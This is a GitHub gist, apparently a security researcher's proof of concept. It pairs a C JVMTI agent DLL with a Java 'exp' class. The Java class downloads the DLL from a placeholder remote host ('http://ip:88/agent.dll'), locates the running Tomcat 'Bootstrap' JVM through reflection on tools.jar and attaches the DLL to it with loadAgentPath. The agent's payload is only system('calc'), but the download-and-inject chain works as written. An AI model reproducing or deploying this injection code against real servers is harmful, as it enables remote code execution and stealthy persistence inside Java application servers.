Skip to content

Instantly share code, notes, and snippets.

@Firebasky
Last active January 9, 2022 06:26
Show Gist options
  • Save Firebasky/c1efd9dc7eb964a77cb788c170a8598f to your computer and use it in GitHub Desktop.
Save Firebasky/c1efd9dc7eb964a77cb788c170a8598f to your computer and use it in GitHub Desktop.
远程加载c语言实现的dll注入恶意代码.
#include "pch.h"
#include "jvmti.h"
#include <iostream>
/*
* java agent有2个启动函数分别为Agent_OnLoad和Agent_OnAttach
* Agent_OnLoad在onload阶段被调用
* Agent_OnAttach在live阶段被调用
* 但是每个agent只有一个启动函数会被调用
*/
/*
* 此阶段JVM还没有初始化,所以能做的操作比较受限制
* JVM参数都无法获取
* The return value from Agent_OnLoad is used to indicate an error.
* Any value other than zero indicates an error and causes termination of the VM.
* 任何非零的返回值都会导致JVM终止。
*/
JNIEXPORT jint JNICALL Agent_OnLoad(JavaVM* vm, char* options, void* reserved) {
printf("Agent_OnLoad\n");
system("calc");
return JNI_OK;
}
JNIEXPORT jint JNICALL Agent_OnAttach(JavaVM* vm, char* options, void* reserved) {
printf("Agent_OnAttach\n");
system("calc");
return JNI_OK;
}
/*
* This function can be used to clean-up resources allocated by the agent.
*/
JNIEXPORT void JNICALL Agent_OnUnload(JavaVM* vm) {
system("calc");
printf("Agent_OnUnload\n");
}
/**
* @author:Firebasky
* 参考:https://tttang.com/archive/1368/
* https://www.cnblogs.com/luoruiyuan/p/9132121.html
*/
import java.io.*;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.channels.Channels;
import java.nio.channels.ReadableByteChannel;
import java.util.*;
public class exp {
//远程的dll文件
public static String remoteFilePath="http://ip:88/agent.dll";
//保存到本地的文件
public static String localFilePath="D:\\library\\agent";
//注入的进程名字
public static String HookName ="Bootstrap";//演示程序demo类 tomcat启动是Bootstrap
public static void main(String[] args) throws Exception {
downloadFile(remoteFilePath,localFilePath);
attach(HookName);
}
/**
* 下载远程文件并保存到本地
* @param remoteFilePath-远程文件路径
* @param localFilePath-本地文件路径(带文件名)
*/
public static void downloadFile(String remoteFilePath, String localFilePath) {
URL website = null;
ReadableByteChannel rbc = null;
FileOutputStream fos = null;
try {
website = new URL(remoteFilePath);
rbc = Channels.newChannel(website.openStream());
fos = new FileOutputStream(localFilePath);//本地要存储的文件地址 例如:test.txt
fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE);
} catch (Exception e) {
e.printStackTrace();
}finally{
if(fos!=null){
try {
fos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if(rbc!=null){
try {
rbc.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
/**
*通过反射获得pid然后加载
* @throws Exception
*/
public static void attach(String HookName) throws Exception{
Map<String, Class<?>> classMap = LoadTools();
Object hostId = classMap.get("sun.jvmstat.monitor.HostIdentifier").getDeclaredConstructor(String.class).newInstance("localhost");
Method getMonitoredHost = classMap.get("sun.jvmstat.monitor.MonitoredHost").getMethod("getMonitoredHost",classMap.get("sun.jvmstat.monitor.HostIdentifier"));
Object mHost = getMonitoredHost.invoke(classMap.get("sun.jvmstat.monitor.MonitoredHost"),hostId);
Method activeVms = classMap.get("sun.jvmstat.monitor.MonitoredHost").getMethod("activeVms");
Set jvlms = (Set) activeVms.invoke(mHost);
for (Iterator j = jvlms.iterator(); j.hasNext(); ) {
int lvmid = ((Integer) j.next()).intValue();
try {
String vmidString = "//" + lvmid + "?mode=r";
Object id = classMap.get("sun.jvmstat.monitor.VmIdentifier").getDeclaredConstructor(String.class).newInstance(vmidString);
Method getMonitoredVm = classMap.get("sun.jvmstat.monitor.MonitoredHost").getMethod("getMonitoredVm",classMap.get("sun.jvmstat.monitor.VmIdentifier"),int.class);
Object vm = getMonitoredVm.invoke(mHost,id,0);
Method mainClass = classMap.get("sun.jvmstat.monitor.MonitoredVmUtil").getMethod("mainClass",classMap.get("sun.jvmstat.monitor.MonitoredVm"),boolean.class);
String mainName = (String) mainClass.invoke(classMap.get("sun.jvmstat.monitor.MonitoredVmUtil"),vm,false);
if(mainName.equals(HookName)) {//启动的进程名字
Method attach = classMap.get("com.sun.tools.attach.VirtualMachine").getMethod("attach", String.class);
//System.out.println(lvmid);
Object vMachine = attach.invoke(classMap.get("com.sun.tools.attach.VirtualMachine"),String.valueOf(lvmid));//pid
Method loadAgent = classMap.get("com.sun.tools.attach.VirtualMachine").getMethod("loadAgentPath", String.class);
loadAgent.invoke(vMachine,localFilePath);//临时Agent的路径
System.out.println("Load Agent Successful!");
}
}
catch (Exception e) {
e.printStackTrace();
}
}
//List<VirtualMachineDescriptor> vmList = VirtualMachine.list(); // 获取运行中的JVM列表
//for (VirtualMachineDescriptor vmd : vmList) {//java进程号通过jps -l 来获得 找到测试的JVM
// if (vmd.displayName().endsWith("demo")) {//匹配的进程
// VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());//attach JVM, attach到目标ID的JVM上
// virtualMachine.loadAgentPath(DllFilepath);//加载本地库 注意是loadAgentPath
// virtualMachine.detach();//断开
// }
//}
}
/**
* 加载tools.jar的类
*/
public static Map<String,Class<?>> LoadTools()throws Exception{
Map<String,Class<?>> classMap = new HashMap<String,Class<?>> ();
//获得tools路径
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre", "lib") + java.io.File.separator + "tools.jar");
java.net.URL url = toolsPath.toURI().toURL();
//URL url1 = new URL("file:C:\\Program Files\\java\\jdk1.8.0_201\\lib\\tools.jar");
URLClassLoader urlClassLoader = new URLClassLoader(new URL[] { url }, Thread.currentThread().getContextClassLoader());
Class<?> virtualMachine = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine");
classMap.put("com.sun.tools.attach.VirtualMachine", virtualMachine);
Class<?> hostIdentifier = urlClassLoader.loadClass("sun.jvmstat.monitor.HostIdentifier");
classMap.put("sun.jvmstat.monitor.HostIdentifier", hostIdentifier);
Class<?> monitorException = urlClassLoader.loadClass("sun.jvmstat.monitor.MonitorException");
classMap.put("sun.jvmstat.monitor.MonitorException", monitorException);
Class<?> monitoredHost = urlClassLoader.loadClass("sun.jvmstat.monitor.MonitoredHost");
classMap.put("sun.jvmstat.monitor.MonitoredHost", monitoredHost);
Class<?> monitoredVm = urlClassLoader.loadClass("sun.jvmstat.monitor.MonitoredVm");
classMap.put("sun.jvmstat.monitor.MonitoredVm", monitoredVm);
Class<?> monitoredVmUtil = urlClassLoader.loadClass("sun.jvmstat.monitor.MonitoredVmUtil");
classMap.put("sun.jvmstat.monitor.MonitoredVmUtil", monitoredVmUtil);
Class<?> vmIdentifier = urlClassLoader.loadClass("sun.jvmstat.monitor.VmIdentifier");
classMap.put("sun.jvmstat.monitor.VmIdentifier", vmIdentifier);
return classMap;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment